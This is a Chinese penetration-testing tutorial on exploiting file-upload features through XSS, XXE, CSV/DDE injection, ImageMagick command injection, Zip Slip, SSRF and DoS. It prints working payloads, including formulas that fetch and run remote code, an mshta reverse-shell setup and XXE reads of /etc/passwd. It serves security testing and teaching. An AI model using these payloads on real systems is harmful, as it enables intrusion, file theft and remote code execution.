当前位置: 首页 > news >正文

文件上传的多种利用方式

文件上传的多种利用方式

文件上传漏洞除了可以通过绕过检测进行webshell的上传之外,还有多种其它的漏洞可以进行测试。

XSS漏洞

文件名造成的XSS

当上传任何文件时,文件名肯定是会反显示在网页上,可以使用 XSS Payload做文件名尝试将其上传到 Web 应用程序。这样就可能会触发XSS。
抓包修改文件名为如下所示的名字

<img src=x onerror=alert(1)>.png

html文件上传

最直接的方式无疑是可以上传html文件

通过构造z最简单的poc,修改后缀为html即可

<script>alert('XSS')</script>

svg文件

如果应用允许上传SVG格式的文件(其实就是一个图像类型的),那么带有以下content的文件可以被用来触发XSS

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

可以通过访问http://brutelogic.com.br/poc.svg看到效果

或者按照xml格式构造一个

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svgversion="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygonid="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<scripttype="text/javascript">
alert(document.domain);
</script>
</svg>

gif文件

建立一个携带有JavaScript payload的GIF图像用作一个脚本的源。这对绕过CSP(内容安全策略)保护“script-src ‘self’”(即不允许使用示例的这种xss方式进行攻击<script>alert(1)</script>)是很有用的,但前提是我们能够成功地在相同的域注入。

poc构造:

GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;

这个GIF的图片头——GIF89a,作为alert function的变量分配给alert function。但是他们之间,还有一个被标注的XSS变量用来防止图片被恢复为text/HTML MIME文件类型,因此只需发送一个对这个文件的请求payload 就可以被执行。

正如我们下面看到的,文件类unix命令和PHP函数中的exif_imagetype()和getimagesize()会将其识别为一个GIF文件。所以如果一个应用程序仅仅是使用这些方式验证是否是一个图像,那么该文件将可以上传成功(但可能在上传后被杀掉)

PDF文件

利用迅捷pdf编辑器

image-20230302132503488

右键缩略图,点击属性,可以看到动作

image-20230302132834347

点击动作,可以选择打开和关闭页面的动作设置。进去点击新增按钮,运行JavaScript,输入poc

image-20230302132958889

在浏览器打开即可进行弹窗。

image-20230303143228736

docx文件

Microsoft Word 文档的核心只是一个压缩文件夹,其中包含 Word 知道如何解压缩和处理的 XML 和压缩数据。对于我们的演示,我们需要文件的一部分不会被压缩。我们可以通过运行 Linux 命令来检查文件中的所有 ASCII 字符,strings file-sample.docx以查看我们可以使用哪些字符串。从下面的屏幕截图中可以看出,各个文件标题的 ASCII 字符串是未压缩的。我们也许可以修改其中一个文件名以潜入一些 XSS。

步骤一:

将文档进行解压缩,然后修改其中的文件名,例如,将一些任意的 A 插入到将驻留在文档中的文件名中。再次压缩文件后,A 字符用作参考点。我选择的文件名是文件settings.xml。它位于/word目录中的一个文件夹下。

mv settings.xml settAAAAAAAAAAAAAAAAAAAAAAAAAAAAings.xml

这将导致显示的文件名中间有大量 A。现在文件名已配置,我们可以简单地重新压缩文档以压缩并恢复为正常的 docx 格式。

步骤二:

Linux 不允许文件名包含某些字符,例如正斜杠/。因此,我们需要使用十六进制编辑器或文本编辑器将 A 更改为我们的 XSS 代码

\x41在 hexeditor 中,我们可以通过带或的十六进制代码块找到 A 的字符串,这41取决于您的 hexeditor。

img

可以将字符串转换<script>alert(1)</script>为十六进制,然后将代码注入\x41位置,或者您可以简单地在文本编辑器中打开它来替换字符串

再次上传即可触发XSS

image-20230302134133513

Metadata

使用exiftool这个工具可以通过改变EXIF metadata进而一定几率引起某处反射

exiftool -field = XSS FILE

例如:

exiftool -Artist='"><img src=1 onerror=alert(1)>' brute.jpeg

image-20230303144238749

XXE漏洞

如果允许上传XML格式文件,如docx、xlsx、svg等本质是xml的文件,且后端会对上传的文件进行解析,那么可能存在XXE。

恶意xlsx

假设我们有一个接受Excel文件进行上传和处理的目标应用程序,我们就可以开始探测XXE了。相同的攻击有效负载可能会起作用,我们只需将它们放入Excel文件即可。
创建一个新的空白Excel文件,修改后缀为zip,并解压(linux中可以直接解压缩)。

$ mkdir XXE && cd XXE
$ unzip ../XXE.xlsx # obviously use whatever your xlsx file is here
Archive:  ../XXE.xlsxinflating: xl/drawings/drawing1.xmlinflating: xl/worksheets/sheet1.xmlinflating: xl/worksheets/_rels/sheet1.xml.relsinflating: xl/sharedStrings.xmlinflating: xl/styles.xmlinflating: xl/workbook.xmlinflating: xl/_rels/workbook.xml.relsinflating: _rels/.relsinflating: [Content_Types].xml

用于攻击应用程序的文件会有所不同,这在很大程度上取决于所使用的库。xl/workbook.xml提供了工作簿内容的概述,通常是大多数解析开始的地方,因为它将包含工作表及其名称的列表。单个工作表本身位于xl/worksheets目录下,通常内容最终会进入xl/sharedStrings.xml,鉴于这种流程,我们最好先尝试xl/workbook.xml。

常见的测试表

[Content_Types].xml
xl/workbook.xml
xl/worksheets/sheet1.xml
_rels/.rels
#或者
xl/_rels/workbook.xml.rels
xl/theme/theme1.xml
_rels/.rels
docProps/app.xml
docProps/core.xml
xl/_rels/workbook.xml.rels
xl/styles.xml
xl/workbook.xml

构造poc

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net/"> ]>
<x>&xxe;</x>

构造好之后的xlsx如图:

image-20230306100947629

然后可以将其压缩为xlsx

linux中可以使用如下命令

zip -r ../poc.xslx *

windows压缩的时候要全选文件,进行压缩,注意不要选文件夹来压缩,要全选文件。

image-20230306101253801

攻击利用的时候可以尝试其它类型的利用方式

#文件读取
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "file://etc/passwd"> ]>
<x>&xxe;</x>#执行系统命令
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "expect://id"> ]>
<x>&xxe;</x>

恶意docx

docx的操作流程和xlsx基本是一致的,解压缩之后,目录结构如图所示

image-20230306103633187

对文件中的word/document.xml进行修改

可以添加如下pocload进行盲测

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net/"> ]>
<x>&xxe;</x>

也可以根据实际网站的具体调用情况,将dtd的调用放到其它位置

案例参考:docx文件上传xxe导致任意文件读取

恶意svg

svg一般尝试OOB外带注入的方式来判断最快,直接构造响应poc如下:

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svgwidth="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><textfont-size="16" x="0" y="16">&xxe;</text></svg>

有回显的话则可以利用xxe漏洞去读取文件

Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>

命令执行漏洞

csv注入

CSV注入(CSV Injection)漏洞通常会出现在有导出文件(.csv/.xls)功能的网站中。当导出的文件内容可控时,攻击者通常将恶意负载(公式)注入到输入字段中,用户导出文件打开后,EXCEL会调用本身的动态功能,执行攻击者的恶意代码,从而控制用户计算机。

常见的poc:

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

如果允许上传CSV文件,且上传的CSV文件的内容未经过处理过滤直接保存,那么可以尝试上传具有恶意命令执行payload的CSV文件,当其他用户下载该CSV文件时,可能会导致命令执行。

其它利用方式:

网站钓鱼利用, 用户点击文字,会自动打开默认浏览器访问百度页面,无警告

=HYPERLINK(“http://baidu.com”,“点我去百度”)

获取shell

利用msf的功能模块生成poc

use exploit/windows/fileformat/office_word_hta
set payload/windows/meterpreter/reverse_http
set lhost 192.168.200.140 #kali的IP
set ExitSession false
exploit

然后新建表格,内容插入+1+cmd|'/c mshta.exe http://192.168.200.140:8080/default.hta'!A0
表格弹出提示框,点击确认后,可以获取shell。

对图片二次渲染

若服务端使用存在漏洞的组件对上传图片进行二次渲染等操作,那么也可以尝试RCE,如ImageMagick。

一些ImageMagick相关的CVE:

CVE-2016–3714 — Insufficient shell characters filtering leading to (potentially remote) code execution
CVE-2016–3715 — File deletion
CVE-2016–3716 — File moving
CVE-2016–3717 — Local file read
CVE-2016–3718 — SSRF

以CVE-2016–3714为例:

漏洞产生的原因是 ImageMagick 使用 system() 指令调用来处理 HTTPS 请求,而对用户传入的 shell 参数没有做好过滤,导致能注入任意指令执行

恶意poc:

POST / HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymdcbmdQR1sDse9Et
Content-Length: 328------WebKitFormBoundarymdcbmdQR1sDse9Et
Content-Disposition: form-data; name="file_upload"; filename="1.gif"
Content-Type: image/pngpush graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|curl "www.leavesongs.com:8889)'
pop graphic-context
------WebKitFormBoundarymdcbmdQR1sDse9Et--

有回显的话,可以利用

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context

Zip Slip目录走访漏洞

如果可以上传压缩包,并且服务端会对压缩包解压,那么就可能存在Zip Slip目录走访漏洞;恶意攻击者通过构造一个压缩文件条目中带有../的压缩文件,上传后交给应用程序进行解压,由于程序解压时没有对压缩包内部的文件名进行合法性的校验,而是直接将文件名拼接在待解压目录后面,导致可以将文件解压到正常解压缩路径之外并覆盖可执行文件,从而等待系统或用户调用他们实现代码执行(也可能是覆盖配置文件或其他敏感文件)。

本质:没有对压缩包中的文件名进行合法性校验,直接将文件名拼接到待解压目录中,导致存在路径遍历风险

举例:若解压目录为/webapp/web/,给文件命名为:../../var/www/html/1.php并压缩,那么文件解压后,通过直接拼接文件名为/webapp/web/../../var/www/html/1.php,因此最终就会存放到/var/www/html/1.php中,如果能访问并解析,那么就能成功代码执行。

SSRF漏洞

上传url格式的文件

上传 .URL 文件,如果打开,可能会导致 Windows 上的 SSRF SMB 连接。

PDF的文件导出功能

可以上传并查看pdf文件的功能点一般会存在pdf的导出功能,常见功能点为:发票打印、行程打印、车票打印、保单下载等,而通过浏览器查看和导出pdf可能会由于配置和过滤问题导致存在html注入,可以对请求参数进行测试。

参考案例:(案例来源:https://zone.huoxian.cn/d/550-pdfhtmlxss-ssrf)

image-20230306112845504

然后数据包可知是通过前端传入姓名之类的信息到后端进行插入,导出pdf.

1634015083-354708-image

通过pdf的创建者可知是通过pdf编辑器wkhtmltopdf进行pdf文件的转换。

1634015187-860968-image

利用如下poc对参数进行html注入

<iframe+src="http://xxx.xxx.xxx.xxx/p/55a964/mIpS/">

image-20230306111732279

DOS攻击

像素洪水攻击

任意可以上传图片的地方都可以进行测试;在Pixel Flood Attack中,攻击者尝试上传具有大像素的文件(64250x64250像素),一些应用会使用第三方组件/库对图像进行缩小处理,以节省存储空间和处理能力,但是这些第三方库在处理的时候,会将“整个图像”加载到内存中,它会尝试将4128062500像素分配到内存中,从而消耗服务器资源,导致应用最终崩溃宕机。

测试思路:

需要准备一个5kb,260x260像素的图像。将260x260值改为0xfafa x 0xfafa(64250x64250像素)进行交换。图像一旦上传,服务器通过将“整个图像”加载到内存中,它会尝试将4128062500像素分配到内存中,从而充斥内存并导致DoS。

zip递归炸弹和非递归炸弹

参考:https://bbs.kanxue.com/thread-252487.htm

PNG解压DOS

PNG文件由多个块组成,其中一个可选的辅助块称为zTXT(ztxt),此块允许使用zlib库存储压缩文本数据。

使用一个大小为50MB的文件,填充零,将它压缩到大约49 KB”,因此将大量数据存储在一个小的PNG(小于1 MB)。当发送给HackerOne时,会造成服务超时。

目录遍历

一些网站配置不当,或者开发安全意识不严谨,将用户上传的文件直接按原名存储到服务器中,那么我们就可以尝试将文件名添加回溯符../,以上传文件到任意目录,甚至覆盖文件,达到getshell或者破坏系统的目的。

[!tip]

在windows中由于部分符号不能作为文件名,如果我们将文件名设置为带有这些特殊符号的内容,那么可能让服务器抛出异常

较少的情况下,可以控制上传的目录名,也可以通过路径遍历的方法上传到任意目录中。

如将文件名设置为../../../../etc/passwd,然后上传对应的内容,那么则有可能直接覆盖掉/etc/passwd

一般情况下尽量去覆盖不会对系统产生影响且我们可以直接观察到的文件,如robots.txt等

注入漏洞

服务端可能对上传的文件名进行各种处理,如展示到页面、存储到数据库等,因此可能存在各种各样的注入,如XSS、SQLI等

如上传文件名为test.png,那么我们可以设置变量为§test§.png,然后fuzz一下各种注入的payload,如

sleep(10)-- -.png
<h1>test<h1>.png
${2*3}

参考文章

https://brutelogic.com.br/blog/file-upload-xss/

https://bestestredteam.com/2018/07/27/learning-to-pop-xss-with-docx-files/

https://blog.csdn.net/qq_50854662/article/details/129135776

https://xz.aliyun.com/t/7747

https://security.tencent.com/index.php/blog/msg/69

https://www.jianshu.com/p/18d82bebaa0e

相关文章:

文件上传的多种利用方式

文件上传的多种利用方式 文件上传漏洞除了可以通过绕过检测进行webshell的上传之外&#xff0c;还有多种其它的漏洞可以进行测试。 XSS漏洞 文件名造成的XSS 当上传任何文件时&#xff0c;文件名肯定是会反显示在网页上&#xff0c;可以使用 XSS Payload做文件名尝试将其上传到…...

盘一盘C++的类型描述符(二)

先序文章请看 盘一盘C的类型描述符&#xff08;一&#xff09; 稍微组合一下的复杂类型 数组指针类型的数组类型 数组的指针类型我们已经了解了&#xff0c;那么&#xff0c;以这种类型作为元素的数组类型怎么搞&#xff1f; using type int (*)[3]; // 元素类型是数组指针…...

慎投,Frontiers这本期刊显示on hold中

什么是“On Hold”&#xff1f; 该期刊因为质量问题正在被进行重新评估&#xff1b;在重新评估过程中&#xff0c;不会检索新发表的文章。该期刊因为质量问题正在被进行重新评估&#xff1b;在重新评估过程中&#xff0c;不会检索新发表的文章。根据选择标准&#xff0c;在最严…...

Winform控件开发(21)——ProgressBar(史上最全)

一、属性 1、Name 用于获取控件对象 2、Anchor 锚定控件对于父控件的位置 3、BackColor 背景色 4、ContextMenuStrip 关联的上下文菜单 5、Cursor 鼠标移动到控件上显示的光标 6、Dock 停靠在父控件的位置 7、Enabled 是否启动该控件,false时事件都不能触发 8、…...

校招失败后,在外包公司熬了 2 年终于进了字节跳动,竭尽全力....

其实两年前校招的时候就往字节投了一次简历&#xff0c;结果很明显凉了&#xff0c;随后这个理想就被暂时放下了&#xff0c;但是这个种子一直埋在心里这两年除了工作以外&#xff0c;也会坚持写博客&#xff0c;也因此结识了很多优秀的小伙伴&#xff0c;从他们身上学到了特别…...

UniApp + SpringBoot 实现接入支付宝支付功能和退款功能

一、支付宝开放平台设置 注册支付宝支付功能需要个体工商户或企业才可以&#xff01;需要有营业执照才能去申请哦&#xff01; 1、登录到控制台 进入支付宝开放平台 控制台 2、开发设置 3、产品绑定APP支付 如果没有绑定APP支付就会报商家订单参数异常&#xff0c;请重新发起…...

初识进程

文章目录一、进程的概念1. 进程是什么及进程的管理2. Linux 下的 pcb3. 系统调用接口 getpid 和 getppid4. 系统调用接口 fork一、进程的概念 1. 进程是什么及进程的管理 在 Linux下 ./binaryfile 运行一个程序或者在 Windows下双击运行一个程序时&#xff0c;程序就变成了一个…...

SOAP传输协议

一.HTTP传输协议 超文本传输协议&#xff08;HyperText Transfer Protocol&#xff0c;缩写&#xff1a;HTTP&#xff09;&#xff0c;它是基于请求-响应的模式协议&#xff0c;客户端发出请求&#xff0c;服务器端给出响应并返回请求内容。方法如下&#xff0c;HTTP传输协议常…...

<Linux>进程控制

进程控制 文章目录进程控制一、进程创建1.fork函数认识2.写时拷贝3.fork常规用法4.fork调用失败的原因二、进程终止1.进程退出场景2.进程退出码3.进程退出的方式三、进程等待1.进程等待是什么&#xff1f;2.进程等待的必要性3.进程等待的方法3.1.wait函数3.2.waitpid函数4.如何…...

有手就行 -- 搭建图床(PicGo+腾讯云)

&#x1f373;作者&#xff1a;贤蛋大眼萌&#xff0c;一名很普通但不想普通的程序媛\color{#FF0000}{贤蛋 大眼萌 &#xff0c;一名很普通但不想普通的程序媛}贤蛋大眼萌&#xff0c;一名很普通但不想普通的程序媛&#x1f933; &#x1f64a;语录&#xff1a;多一些不为什么的…...

“蓝桥杯”递推和递归(一)——取数位

1. 算法简介 递推和递归虽然叫法不同&#xff0c;但它们的基本思想是一致的&#xff0c;在很多程序中&#xff0c;这两种算法可以通用&#xff0c;不同的是递推法效率更高&#xff0c;递归法更方便阅读。 &#xff08;1&#xff09;递推法 递推法是一种重要的数学方法&#…...

蓝桥杯·3月份刷题集训Day02

本篇博客旨在记录自已打卡蓝桥杯3月份刷题集训&#xff0c;同时会有自己的思路及代码解答希望可以给小伙伴一些帮助。本人也是算法小白&#xff0c;水平有限&#xff0c;如果文章中有什么错误之处&#xff0c;希望小伙伴们可以在评论区指出来&#xff0c;共勉&#x1f4aa;。 文…...

python --获取内网IP地址

方法一 import socketdef get_local_ip_address():ip_address try:# 获取本机主机名hostname socket.gethostname()# 获取本机IPip_address socket.gethostbyname(hostname)except:passreturn ip_address方法二 import subprocessdef get_local_ip_address():ip_address …...

如何衡量你的Facebook广告活动的成功

投入大量资金和资源在Facebook广告上并不总能带来预期的回报&#xff0c;这很可能是由于缺乏恰当的衡量广告活动成功的方法。在这篇文章中&#xff0c;我们将介绍一些关键的指标&#xff0c;帮助你更好地了解如何衡量你的Facebook广告活动的成功。1.费用每次点击&#xff08;CP…...

Linux对一个目录及其子目录所有文件添加权限

1、chmod指令 chmod是一个改变用户拥有指定文件的权限的命令.r:只读,w:写,x执行.也可以用数字 -rw------- (600) -- 只有属主有读写权限。 -rw-r--r-- (644) -- 只有属主有读写权限&#xff1b;而属组用户和其他用户只有读权限。 -rwx------ (700) -- 只有属主有读、写、执…...

宝刀未老?低代码何德何能受大厂们的推崇

风口之下&#xff0c;低代码蓬勃发展&#xff0c;本文从国内低代码的走红现象引入&#xff0c;浅析低代码发展中的变化趋势&#xff0c;重点探讨如此趋势之下&#xff0c;国内大厂如何通过低代码实现了良性发展。 一、国内爆火的低代码 据Gartner最新报告显示&#xff0c;到2…...

智能扑克牌识别软件(Python+YOLOv5深度学习模型+清新界面)

摘要&#xff1a;智能扑克牌识别软件利用视觉方法检测和识别日常扑克牌具体花色与数字&#xff0c;快速识别牌型并标注结果&#xff0c;帮助计算机完成扑克牌对战的前期识别步骤。本文详细介绍基于深度学习的智能扑克牌识别软件&#xff0c;在介绍算法原理的同时&#xff0c;给…...

SQL优化13连问,收藏好!

1.日常工作中&#xff0c;你是怎么优化SQL的&#xff1f; 大家可以从这几个维度回答这个问题&#xff1a; 分析慢查询日志 使用explain查看执行计划 索引优化 深分页优化 避免全表扫描 避免返回不必要的数据&#xff08;如select具体字段而不是select*&#xff09; 使用…...

【小技巧】公式从docx文件复制到doc文件变成了图片怎么办?

文章目录0、word文件后缀命名1、docx和doc默认的公式编辑方式2、MathTpye公式编辑器3、MathType 运行时错误‘53’&#xff1a;文件未找到&#xff1a;MathPage.WLL4、结束语0、word文件后缀命名 1997-2003的旧版本文件名后缀是.doc   从2007版以后&#xff0c;后缀名是.docx…...

Python3入门与进阶笔记(六):初识类

目录 一些解释 属性 类名建议首字母大写&#xff0c;通常用驼峰规则命名。变量名建议小写&#xff0c;下划线隔开。类最基本的作用是封装。 写在类内非方法中的语句在类加载的时候会执行&#xff0c;且只会执行一次&#xff0c;例如下面的print语句&#xff0c;类加载时就会…...

Prometheus监控实战系列九:主机监控

Prometheus使用各种Exporter来监控资源。Exporter可以看成是监控的agent端&#xff0c;它负责收集对应资源的指标&#xff0c;并提供接口给到Prometheus读取。不同资源的监控对应不同的Exporter&#xff0c;如node-exporeter、mysql-exporter、kafka-exporter等&#xff0c;在这…...

JVM知识整理

JVM知识整理 JVM的主要组成部分 JVM包含两个两个子系统&#xff08;类加载子系统和执行引擎&#xff09;和两个组件&#xff08;运行时数据区与和本地库接口&#xff09; 类加载子系统&#xff1a;根据给定的全限定类名来加载class文件到运行时数据区域中的方法区。执行引擎&a…...

【C++】二叉搜索树

A:你长大后想要做什么&#xff1f; B:写下“快乐”…… A:不&#xff0c;你理解错我的意思了&#xff0c;我是说 B:不&#xff0c;是你理解错了人生…… 文章目录一、二叉搜索树的实现1.struct TreeNode{}2.迭代版本2.1 Insert()插入结点&#xff08;解决链接的问题&#xff09…...

leetcode -- 21. 合并两个有序链表

&#x1f428;目录&#x1f4d1;1. 题目&#x1f6f6;2. 解法- 头插到新链表&#x1f42c;2.1 思路&#x1f42c;2.1 代码实现⛵3. 解法优化 - 带哨兵位&#x1f40b;3.1 思路&#x1f40b;3.2 代码实现&#x1f6a4;4. 题目链接&#x1f4d1;1. 题目 将两个升序链表合并为一个…...

计算机组成原理|第四章(笔记)

目录第四章 存储器4.1 概述4.1.1 存储器分类4.1.2 存储器的层次结构4.2 主存储器4.2.1 概述4.2.2 半导体存储芯片简介4.2.3 随机存取存储器&#xff08;RAM&#xff09;4.2.4 只读存储器&#xff08;ROM&#xff09;4.2.5 存储器与CPU的连接4.2.6 存储器的校验4.2.7 提高访存速…...

【Unity3D-BUG记录】Unity3D中出现“动画片段必须标记为Legacy的警告”消除方法

推荐阅读 CSDN主页GitHub开源地址Unity3D插件分享简书地址我的个人博客 大家好&#xff0c;我是佛系工程师☆恬静的小魔龙☆&#xff0c;不定时更新Unity开发技巧&#xff0c;觉得有用记得一键三连哦。 一、前言 在开发中可能会遇到下面的警告&#xff1a; The AnimationClip…...

Spring Bean的定义(含创建Bean的三种方式)

&#x1f3c6; 文章目标&#xff1a;复习和理解下Spring Bean的定义 &#x1f340; Spring Bean的定义&#xff08;含创建Bean的三种方式&#xff09; ✅ 创作者&#xff1a;Jay… &#x1f389; 个人主页&#xff1a;Jay的个人主页 &#x1f341; 展望&#xff1a;若本篇讲解内…...

vue的路由-vue router(一)

vue的路由-vue router一、路由的基本使用HTMLrouter-linkrouter-viewJavaScript二、带参数的动态路由匹配三、嵌套路由四. 编程式导航导航到不同的位置替换当前位置横跨历史篡改历史五. 命名路由六. 命名视图嵌套命名视图七. 重定向和别名重定向别名八. 将 props 传递给路由组件…...

DevOps流水线搭建-PHP版本

一、介绍流水线发布代码1、官网https://www.jenkins.io/zh2、kubesphere里的介绍https://kubesphere.io/zh/docs/v3.3/devops-user-guide/how-to-use/pipelines/choose-jenkins-agent/3、git仓库可以自己写点测试代码&#xff0c;提交&#xff0c;待会测试用https://gitee.com/…...

C语言之按位取反~(七十一)

计算机存储数据基本知识计算机中二进制数包括&#xff08;正数和负数&#xff09;是以补码形式存储。符号位&#xff1a;补码的最左侧首位是符号位&#xff0c;0表示正数&#xff0c;1表示负数。二进制有三种形式&#xff1a;原码、反码、补码。正数的补码和反码&#xff1a;是…...

更改wordpress密码/网站打开

基本CSS选择器有标记选择器、类别选择器、ID选择器3种1。标记选择器 每一种HTML标记的名称都可以作为相应的标记选择器的名称&#xff0c;如h1,p,等等2。类别选择器 类别选择器的名称可以由用户自定义 格式如下&#xff1a;.class{color:green;font-size:20px;}3。ID选…...

网站怎样做域名绑定/网站关键词有哪些

Fraunhofer IIS 音频水印技术 Translated by Wilco and 苏信东&#xff0c;WaveCN.com校对&#xff1a;苏信东2005-12-16 音频水印技术 “水印”这一术语与信息隐藏科学高度关联。所谓信息隐藏&#xff0c;可以理解为在一种信息中隐藏附带另外一种信息。因此&#xff0c;音频水…...

网址建站/雷神代刷推广网站

1、 打开 MATLAB 软件&#xff0c;在命令窗口输入 fdatool 并回车&#xff0c;就会弹出滤波器设计工具 2、 FIR滤波器设计方法有多种&#xff0c;&#xff0c;最常用的是窗函数设计法&#xff08;Window&#xff09;、等波纹设计法&#xff08;Equiripple&#xff09;和最小二乘…...

泰安手机网站建设/seo友情链接

我尝试了这个例外的可用解决方案。我清除了整个本地存储库&#xff0c;也maven update但仍然收到此错误。我检查了JRE和tomcat java versions的版本都是相同的。堆栈跟踪如下&#xff1a;java.util.concurrent.ExecutionException: org.apache.catalina.LifecycleException: Fa…...

沈阳制作网站的公司有哪些/外汇seo公司

前言&#xff1a; 先放效果图&#xff1a; 这次更新主要是增加了多股跟全市股票回测&#xff0c;策略方面还是跟上篇文章的一样&#xff0c;21日跟55日均线相交的策略。多股方面考虑到了均线的周期跟实际股票的数据数量是否适合问题&#xff0c;例如假设55日的均线就必须有5…...

贵阳网站建设公司排名/怎么找需要做推广的公司

转自http://blog.csdn.net/gzlaiyonghao/article/details/1674808 Python Python的优点&#xff1a; 1、Python比其它语言有更多扩展模块。 2、在网上可以找到很多Python教程。不仅如此&#xff0c;还有大量的英文书籍和资料。Python.org有很多为初学者准备的依主题组织的资料、…...